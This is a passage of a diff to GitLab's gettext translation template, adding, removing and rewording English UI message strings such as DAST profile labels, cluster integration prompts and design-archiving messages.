-
msgid "Artifact could not be deleted."
msgstr ""
@@ -3250,6 +3346,9 @@ msgstr ""
msgid "As U2F devices are only supported by a few browsers, we require that you set up a two-factor authentication app before a U2F device. That way you'll always be able to log in - even when you're using an unsupported browser."
msgstr ""
+msgid "As we continue to build more features for SAST, we'd love your feedback on the SAST configuration feature in %{linkStart}this issue%{linkEnd}."
+msgstr ""
+
msgid "AsanaService|%{user} pushed to branch %{branch} of %{project_name} ( %{commit_url} ):"
msgstr ""
@@ -3509,7 +3608,7 @@ msgstr ""
msgid "Authorize %{link_to_client} to use your account?"
msgstr ""
-msgid "Authorize <strong>%{user}</strong> to use your account?"
+msgid "Authorize %{user} to use your account?"
msgstr ""
msgid "Authorize external services to send alerts to GitLab"
@@ -3587,6 +3686,9 @@ msgstr ""
msgid "Automatic certificate management using Let's Encrypt"
msgstr ""
+msgid "Automatically close incident issues when the associated Prometheus alert resolves."
+msgstr ""
+
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
msgstr ""
@@ -3713,7 +3815,7 @@ msgstr ""
msgid "Badges|This project has no badges"
msgstr ""
-msgid "Badges|You are going to delete this badge. Deleted badges <strong>cannot</strong> be restored."
+msgid "Badges|You are going to delete this badge. Deleted badges %{strongStart}cannot%{strongEnd} be restored."
msgstr ""
msgid "Badges|Your badges"
@@ -3827,6 +3929,9 @@ msgstr ""
msgid "BillingPlans|per user"
msgstr ""
+msgid "BillingPlan|Contact sales"
+msgstr ""
+
msgid "BillingPlan|Upgrade"
msgstr ""
@@ -3896,13 +4001,16 @@ msgstr ""
msgid "Boards|View scope"
msgstr ""
+msgid "Both project and dashboard_path are required"
+msgstr ""
+
msgid "Branch"
msgstr ""
msgid "Branch %{branchName} was not found in this project's repository."
msgstr ""
-msgid "Branch <strong>%{branch_name}</strong> was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
+msgid "Branch %{branch_name} was created. To set up auto deploy, choose a GitLab CI Yaml template and commit your changes. %{link_to_autodeploy_doc}"
msgstr ""
msgid "Branch has changed"
@@ -4097,6 +4205,9 @@ msgstr ""
msgid "Burnup chart"
msgstr ""
+msgid "Burnup chart could not be generated due to too many events"
+msgstr ""
+
msgid "Business"
msgstr ""
@@ -4271,6 +4382,9 @@ msgstr ""
msgid "Cancel"
msgstr ""
+msgid "Cancel index deletion"
+msgstr ""
+
msgid "Cancel running"
msgstr ""
@@ -4304,10 +4418,10 @@ msgstr ""
msgid "Cannot import because issues are not available in this project."
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential issues"
+msgid "Cannot make the epic confidential if it contains non-confidential child epics"
msgstr ""
-msgid "Cannot make epic confidential if it contains not-confidential sub-epics"
+msgid "Cannot make the epic confidential if it contains non-confidential issues"
msgstr ""
msgid "Cannot merge"
@@ -4328,7 +4442,7 @@ msgstr ""
msgid "Cannot refer to a group %{timebox_type} by an internal id!"
msgstr ""
-msgid "Cannot set confidential epic for not-confidential issue"
+msgid "Cannot set confidential epic for a non-confidential issue"
msgstr ""
msgid "Cannot show preview. For previews on sketch files, they must have the file format introduced by Sketch version 43 and above."
@@ -4514,9 +4628,6 @@ msgstr ""
msgid "Check the %{docs_link_start}documentation%{docs_link_end}."
msgstr ""
-msgid "Check your .gitlab-ci.yml"
-msgstr ""
-
msgid "Check your Docker images for known vulnerabilities."
msgstr ""
@@ -4742,7 +4853,7 @@ msgstr ""
msgid "Choose visibility level, enable/disable project features (issues, repository, wiki, snippets) and set permissions."
msgstr ""
-msgid "Choose what content you want to see on a group’s overview page"
+msgid "Choose what content you want to see on a group’s overview page."
msgstr ""
msgid "Choose which repositories you want to connect and run CI/CD pipelines."
@@ -4910,9 +5021,15 @@ msgstr ""
msgid "Cleanup policy for tags"
msgstr ""
+msgid "Cleanup policy maximum processing time (seconds)"
+msgstr ""
+
msgid "Clear"
msgstr ""
+msgid "Clear all repository checks"
+msgstr ""
+
msgid "Clear chart filters"
msgstr ""
@@ -5018,6 +5135,9 @@ msgstr ""
msgid "Closed %{epicTimeagoDate}"
msgstr ""
+msgid "Closed epics"
+msgstr ""
+
msgid "Closed issues"
msgstr ""
@@ -5051,19 +5171,25 @@ msgstr ""
msgid "Cluster type must be specificed for Stages::ClusterEndpointInserter"
msgstr ""
-msgid "ClusterIntegration| %{custom_domain_start}More information%{custom_domain_end}."
+msgid "ClusterAgent|This feature is only available for premium plans"
+msgstr ""
+
+msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
-msgid "ClusterIntegration| This will permanently delete the following resources: <ul> <li>All installed applications and related resources</li> <li>The <code>gitlab-managed-apps</code> namespace</li> <li>Any project namespaces</li> <li><code>clusterroles</code></li> <li><code>clusterrolebindings</code></li> </ul>"
+msgid "ClusterAgent|You have insufficient permissions to create a cluster agent for this project"
msgstr ""
-msgid "ClusterIntegration| can be used instead of a custom domain."
+msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|%{external_ip}.nip.io"
+msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgstr ""
+
+msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
msgid "ClusterIntegration|%{title} uninstalled successfully."
@@ -5111,13 +5237,16 @@ msgstr ""
msgid "ClusterIntegration|All data will be deleted and cannot be restored."
msgstr ""
+msgid "ClusterIntegration|All installed applications and related resources"
+msgstr ""
+
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster."
msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{startLink}More information%{endLink}"
msgstr ""
-msgid "ClusterIntegration|Alternatively"
+msgid "ClusterIntegration|Alternatively, "
msgstr ""
msgid "ClusterIntegration|Amazon EKS"
@@ -5135,6 +5264,9 @@ msgstr ""
msgid "ClusterIntegration|An error occurred while trying to fetch zone machine types: %{error}"
msgstr ""
+msgid "ClusterIntegration|Any project namespaces"
+msgstr ""
+
msgid "ClusterIntegration|Any running pipelines will be canceled."
msgstr ""
@@ -5174,15 +5306,12 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{startLink}instance type %{externalLinkIcon} %{endLink}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster. Helm Tiller is required to install any of the following applications."
+msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
msgstr ""
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
-msgid "ClusterIntegration|Choose which of your environments will use this cluster. %{environment_scope_start}More information%{environment_scope_end}"
-msgstr ""
-
msgid "ClusterIntegration|Clear cluster cache"
msgstr ""
@@ -5207,6 +5336,9 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
+msgid "ClusterIntegration|Connect existing cluster"
+msgstr ""
+
msgid "ClusterIntegration|Copy API URL"
msgstr ""
@@ -5390,9 +5522,6 @@ msgstr ""
msgid "ClusterIntegration|Helm release failed to install"
msgstr ""
-msgid "ClusterIntegration|Helm streamlines installing and managing Kubernetes applications. Tiller runs inside of your Kubernetes Cluster, and manages releases of your charts."
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -5588,7 +5717,7 @@ msgstr ""
msgid "ClusterIntegration|Number of nodes must be a numerical value."
msgstr ""
-msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{link_to_help_page} on Kubernetes"
+msgid "ClusterIntegration|Please enter access information for your Kubernetes cluster. If you need help, you can read our %{linkStart}documentation%{linkEnd} on Kubernetes"
msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
@@ -5807,12 +5936,15 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
msgstr ""
-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr ""
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
